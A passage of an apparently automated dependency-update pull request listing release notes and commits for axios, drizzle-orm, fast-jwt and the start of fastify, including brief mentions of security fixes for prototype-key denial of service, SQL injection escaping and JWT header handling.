\u003ca href=\"https://github.com/joaoGabriel55\" title=\"+31/-4 ([#6314](https://github.com/axios/axios/issues/6314) )\"\u003eGabriel Quaresma\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/turadg\" title=\"+23/-6 ([#6265](https://github.com/axios/axios/issues/6265) )\"\u003eTuradg Aleahmad\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/29f75425f0c9f73021f5eedc869c176e30e05fe7\"\u003e\u003ccode\u003e29f7542\u003c/code\u003e\u003c/a\u003e chore(release): prepare release 1.13.5 (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7379\"\u003e#7379\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/431c3a361490a2e3d5ac5d9e08d66d4bb5f3cd2a\"\u003e\u003ccode\u003e431c3a3\u003c/code\u003e\u003c/a\u003e ci: fix run condition (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7373\"\u003e#7373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/9ff3a78ad72ecd665a4b673686f1517d824284bf\"\u003e\u003ccode\u003e9ff3a78\u003c/code\u003e\u003c/a\u003e ci: update ymls (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7372\"\u003e#7372\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/265b71234c20fabbd6d691858c65a7e9c978659f\"\u003e\u003ccode\u003e265b712\u003c/code\u003e\u003c/a\u003e docs: fix deprecated Buffer constructor and formatting issues in README (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7371\"\u003e#7371\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/475e75a260668d227aec9f77735a49748c9041ff\"\u003e\u003ccode\u003e475e75a\u003c/code\u003e\u003c/a\u003e feat: add input validation to isAbsoluteURL (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7326\"\u003e#7326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57\"\u003e\u003ccode\u003e28c7215\u003c/code\u003e\u003c/a\u003e fix: Denial of Service via \u003cstrong\u003eproto\u003c/strong\u003e Key in mergeConfig (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7369\"\u003e#7369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/04cf01969ed58f96920da032f340bfe4614aab90\"\u003e\u003ccode\u003e04cf019\u003c/code\u003e\u003c/a\u003e docs: clarify object check comment (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7323\"\u003e#7323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/696fa753c5366afbd21859c294c64c9ff2b359ab\"\u003e\u003ccode\u003e696fa75\u003c/code\u003e\u003c/a\u003e fix: status is missing in AxiosError on and after v1.13.3 (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7368\"\u003e#7368\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/569f028a5878faaec8d7d138ba686aac407bda4c\"\u003e\u003ccode\u003e569f028\u003c/code\u003e\u003c/a\u003e fix: added a option to choose between legacy and the new request/response int...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/44b7c9f0c4900fd8784f18e871199402f07fc69f\"\u003e\u003ccode\u003e44b7c9f\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump karma-sourcemap-loader (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7360\"\u003e#7360\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/axios/axios/compare/v1.7.9...v1.13.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for axios since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `drizzle-orm` from 0.38.3 to 0.45.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/drizzle-team/drizzle-orm/releases\"\u003edrizzle-orm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.45.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003esql.identifier()\u003c/code\u003e, \u003ccode\u003esql.as()\u003c/code\u003e escaping issues. Previously all the values passed to this functions were not properly escaped\ncausing a possible SQL Injection (CWE-89) vulnerability\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/EthanKim88\"\u003e\u003ccode\u003e@​EthanKim88\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/0x90sh\"\u003e\u003ccode\u003e@​0x90sh\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/wgoodall01\"\u003e\u003ccode\u003e@​wgoodall01\u003c/code\u003e\u003c/a\u003e for reaching out to us with a reproduction and suggested fix\u003c/p\u003e\n\u003ch2\u003e0.45.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed pg-native Pool detection in node-postgres transactions breaking in environments with forbidden \u003ccode\u003erequire()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5107\"\u003e#5107\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.45.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed pg-native Pool detection in node-postgres transactions\u003c/li\u003e\n\u003cli\u003eAllowed subqueries in select fields\u003c/li\u003e\n\u003cli\u003eUpdated typo algorythm =\u0026gt; algorithm\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003e$onUpdate\u003c/code\u003e not handling \u003ccode\u003eSQL\u003c/code\u003e values (fixes \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/2388\"\u003e#2388\u003c/a\u003e, tests implemented by \u003ca href=\"https://github.com/L-Mario564\"\u003eL-Mario564\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/pull/2911\"\u003e#2911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003epg\u003c/code\u003e mappers not handling \u003ccode\u003eDate\u003c/code\u003e instances in \u003ccode\u003ebun-sql:postgresql\u003c/code\u003e driver responses for \u003ccode\u003edate\u003c/code\u003e, \u003ccode\u003etimestamp\u003c/code\u003e types (fixes \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4493\"\u003e#4493\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.7\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix durable sqlite transaction return value \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/3746\"\u003e#3746\u003c/a\u003e - thanks \u003ca href=\"https://github.com/joaocstro\"\u003e\u003ccode\u003e@​joaocstro\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.6\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: add $replicas reference \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4874\"\u003e#4874\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed invalid usage of \u003ccode\u003e.one()\u003c/code\u003e in \u003ccode\u003edurable-sqlite\u003c/code\u003e session\u003c/li\u003e\n\u003cli\u003eFixed spread operator related crash in sqlite \u003ccode\u003eblob\u003c/code\u003e columns\u003c/li\u003e\n\u003cli\u003eBetter browser support for sqlite \u003ccode\u003eblob\u003c/code\u003e columns\u003c/li\u003e\n\u003cli\u003eImproved sqlite \u003ccode\u003eblob\u003c/code\u003e mapping\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix wrong DrizzleQueryError export. thanks \u003ca href=\"https://github.com/nathankleyn\"\u003e\u003ccode\u003e@​nathankleyn\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed types of \u003ccode\u003e$client\u003c/code\u003e for clients created by drizzle function\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"ts\"\u003e\u003ccode\u003eawait db.$client.[...]\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003eAdded the \u003ccode\u003eupdated_at\u003c/code\u003e column to the \u003ccode\u003eneon_auth.users_sync\u003c/code\u003e table definition.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[BUG]: Fixed type issues with joins with certain variations of \u003ccode\u003etsconfig\u003c/code\u003e: \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4535\"\u003e#4535\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4457\"\u003e#4457\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4586\"\u003e[BUG]: Drizzle can no longer run on Durable Objects\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.0\u003c/h2\u003e\n\u003ch2\u003eError handling\u003c/h2\u003e\n\u003cp\u003eStarting from this version, we’ve introduced a new \u003ccode\u003eDrizzleQueryError\u003c/code\u003e that wraps all errors from database drivers and provides a set of useful information:\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/273c78071d4841b497f5144734b38294df7ec64b\"\u003e\u003ccode\u003e273c780\u003c/code\u003e\u003c/a\u003e + 0.45.2 (\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5534\"\u003e#5534\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/4aa6ecfee4b4728dadf6f77f071a149878a3c6c0\"\u003e\u003ccode\u003e4aa6ecf\u003c/code\u003e\u003c/a\u003e Kit updates (\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5490\"\u003e#5490\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/e8e6edfef5ca69c6188d320388ad440265911057\"\u003e\u003ccode\u003ee8e6edf\u003c/code\u003e\u003c/a\u003e feat(drizzle-kit): support d1 via binding (\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5302\"\u003e#5302\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/a086f59fba7f46f3a077893ba912c99e91eaa760\"\u003e\u003ccode\u003ea086f59\u003c/code\u003e\u003c/a\u003e Fixed pg-native Pool detection in node-postgres transactions breaking in envi...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/c445637df39366bcf47b12601896ce851771c1c2\"\u003e\u003ccode\u003ec445637\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5095\"\u003e#5095\u003c/a\u003e from drizzle-team/main-workflows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/e7b3aaa26456b88cd23a7843ebc95b3bddde1ba4\"\u003e\u003ccode\u003ee7b3aaa\u003c/code\u003e\u003c/a\u003e Merge branch 'main' into main-workflows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/0d885a54ddafd8717f8610cf3d2899f3eef61e65\"\u003e\u003ccode\u003e0d885a5\u003c/code\u003e\u003c/a\u003e refactor: Update condition for run-feature job to improve clarity and functio...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/45a1ffbcbfdd96772d0aba7d9e43744db2dce471\"\u003e\u003ccode\u003e45a1ffb\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5087\"\u003e#5087\u003c/a\u003e from drizzle-team/main-workflows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/6357645bd33b1f444e1d081769dd4b71c3de31f8\"\u003e\u003ccode\u003e6357645\u003c/code\u003e\u003c/a\u003e chore: Comment out NEON_HTTP_CONNECTION_STRING requirement in release workflows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/53dec98a936f549d0cc2e668f19db3a2df842f51\"\u003e\u003ccode\u003e53dec98\u003c/code\u003e\u003c/a\u003e refactor: Simplify release router workflow by removing unnecessary switch job...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/drizzle-team/drizzle-orm/compare/0.38.3...0.45.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for drizzle-orm since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fast-jwt` from 2.2.2 to 6.2.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/575\"\u003enearform/fast-jwt#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e by \u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix acceptance of unknown crit headers and comply with RFC 7515 by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: cache confusion risk with composite-key approach by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/587\"\u003enearform/fast-jwt#587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.2 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/564\"\u003enearform/fast-jwt#564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/565\"\u003enearform/fast-jwt#565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.32.0 to 0.33.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/567\"\u003enearform/fast-jwt#567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: import crypto once by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/568\"\u003enearform/fast-jwt#568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: migrate to OIDC publishing for npm releases by \u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it by \u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.1 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/557\"\u003enearform/fast-jwt#557\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.31.2 to 0.32.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/558\"\u003enearform/fast-jwt#558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Add error handling section with examples by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/561\"\u003enearform/fast-jwt#561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix: error constructor in declaration file by \u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.0 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/554\"\u003enearform/fast-jwt#554\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeature: support negative expiresIn when signing tokens by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/556\"\u003enearform/fast-jwt#556\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.0\u003c/h2\u003e\n\u003ch2\u003eBREAKING CHANGES\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e07b1fd23f02a47f1be677a21a4f07607b478e66\"\u003e\u003ccode\u003ee07b1fd\u003c/code\u003e\u003c/a\u003e Release v6.2.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/599\"\u003e#599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/de121056c6415b58770c60640881eaec67ac4ceb\"\u003e\u003ccode\u003ede12105\u003c/code\u003e\u003c/a\u003e fix: cache confusion risk with composite-key approach (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/587\"\u003e#587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/80b49c73cf708701e1e3da7c16ef735789cb269c\"\u003e\u003ccode\u003e80b49c7\u003c/code\u003e\u003c/a\u003e fix acceptance of unknown crit headers and comply with RFC 7515 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/591\"\u003e#591\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/597c4b6e6af3bd823f624debdaa7f57fa92b1e2d\"\u003e\u003ccode\u003e597c4b6\u003c/code\u003e\u003c/a\u003e fix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/598\"\u003e#598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa\"\u003e\u003ccode\u003e0ff14a6\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/575\"\u003e#575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/986a77a7d59964ad6eebe9de5681d9134cc435b4\"\u003e\u003ccode\u003e986a77a\u003c/code\u003e\u003c/a\u003e Release v6.1.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/574\"\u003e#574\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e8429c6e66597d471f05894e447862210d2f3129\"\u003e\u003ccode\u003ee8429c6\u003c/code\u003e\u003c/a\u003e feat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ad60c8353b1e9bbdcf79dd158a3636dc4dd73269\"\u003e\u003ccode\u003ead60c83\u003c/code\u003e\u003c/a\u003e chore: migrate to OIDC publishing for npm releases (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/569\"\u003e#569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/4699c54de3820bb0e3d0622d3838d4e8ec98839a\"\u003e\u003ccode\u003e4699c54\u003c/code\u003e\u003c/a\u003e chore: import crypto once (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/568\"\u003e#568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/b9c7bc3cfb54a007476f365b6250c20efb566231\"\u003e\u003ccode\u003eb9c7bc3\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.32.0 to 0.33.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/567\"\u003e#567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v2.2.2...v6.2.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for fast-jwt since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fastify` from 4.23.2 to 5.8.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastify/fastify/releases\"\u003efastify's 